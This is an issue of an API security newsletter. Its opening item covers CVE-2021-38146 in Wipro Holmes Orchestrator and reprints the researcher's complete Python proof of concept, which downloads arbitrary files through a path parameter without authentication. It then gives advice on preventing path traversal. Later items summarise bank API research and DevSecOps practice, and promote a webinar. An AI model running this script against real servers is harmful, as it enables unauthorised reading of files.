APIsecurity.io - APISecurity.io Newsletter: Issue 161

This week saw the disclosure of a vulnerability hat affected the AI platform Wipro Holmes Orchestrator, as detailed in this disclosure and tracked as CVE-2021-38146.

The vulnerability was discovered by researcher Rizal Muhammed, who provided a sample Python script to demonstrate the exploit. It is a relatively simple one, but allows an attacker to download arbitrary files from the target by manipulating the request parameter to the API call, as shown below: the request body field SearchString is a user-supplied value that specifies the target file to be downloaded.

import requests as rq
import argparse

port = 8001    # change port if application is running on different port

def file_download(host, filepath):
  vuln_url = "http://%s:%s/home/download" % (host, port)
  data = {
    "SearchString": filepath,
    "Msg": ""
  }

  hdr = {
    "content-type": "application/json"
  }

  resp = rq.post(vuln_url, headers=hdr, json=data)

  print resp.text

def main():
  parser = argparse.ArgumentParser(
      description="CVE-2021-38146 - Wipro Holmes Orchestrator 20.4.1 Unauthenticated Arbitrary File Download",
      epilog="Vulnerability Discovery and PoC Author - Rizal Muhammed @ub3rsick"
    )
  parser.add_argument("-t","--target-ip", help="IP Address of the target server", required=True)
  parser.add_argument("-f","--file-path", help="Absolute Path of the file to download", default="C:/Windows/Win.ini")
  args = parser.parse_args()

  if "\\" in args.file_path:
    fp = args.file_path.replace("\\", "/")
  else:
    fp = args.file_path
  file_download(args.target_ip, fp)

if __name__ == "__main__":
  main()

Unfortunately, the target system did not restrict the paths provided by limiting them to a fixed location, which allowed attackers to provide any arbitrary path.

The key takeaway here — as ever — is never trust user-supplied input, like the file path in this case. Always use the well-understood and tested patterns for protecting against path traversal. Typically, any relative path specifiers in the path provided would be stripped away, and the remaining path anchored to a known directory, as described by PortSwigger in their article on file path traversal.

Security researcher Alissa Knight has recently released a new research report, “Scorched Earth: Hacking Bank APIs”. In the report, she details vulnerabilities in banking, cryptocurrency exchange, and fintech industries.

In her research, Knight was able to access 55 banks through their APIs, and change customers’ PIN codes and move money between their accounts. The vulnerabilities she discovered included:

• Hardcoded API keys and tokens including usernames and passwords
• Vulnerability to woman-in-the-middle (WITM) attacks
• API1:2019 — Broken object level authorization vulnerabilities in nearly all the APIs tested
• API2:2019 — Broken authentication vulnerabilities
• Systems issues with outsourcing of development to third parties

From my perspective, the key takeaway here is captured perfectly by Knight:

“It’s clear based on my findings where authentication and authorization are very much broken, that there is no ‘trust but verify’ happening with these third-party developers.”

I was pleased to be featured in the SD Times this week, discussing what the shift-left approach means for API security.

Using the OpenAPI Specification (OAS) as “the single source of truth” allows progressive DevSecOps teams to shift security left by embedding security constructs into their OpenAPI definitions, and then use automation through the CI/CD pipeline to embed and inject security directly into APIs. The key challenge for developers is to fully embrace the “design first” approach to API design.

Ideally, embracing this shift-left approach enables joint ownership of security between both the development and security teams — the panacea of security being everyone’s responsibility.

The renowned API security researcher Inon Shkedy provides a very useful resource as 31 simple snippets in a GitHub repository to help improve the security of APIs. In many cases, the snippets are very succinct and easily actionable.

Although written from an offense perspective, this resource is valuable to API builders too. Know your enemy, or at least where you could go wrong.

On 9 December 2021, at 8AM PDT / 11AM EST / 4PM GMT, 42Crunch will be hosting a webinar on automating API protection with “Security as Code”. The webinar (hosted by yours truly) demonstrates how DevSecOps teams can leverage the OAS to define security constructs within their APIs and then scale the protection by leveraging “security as code” to inject protection into a CI/CD pipeline.

What you will learn:

• How to automate injecting security policies into your CI/CD pipeline, such as Jenkins or Azure DevOps.
• How to use an OpenAPI definition file to determine both the data contracts and the security controls within a single API.
• How to accelerate the roll-out of secure APIs by bridging the gap between development and security teams.

Click here to register and reserve your spot.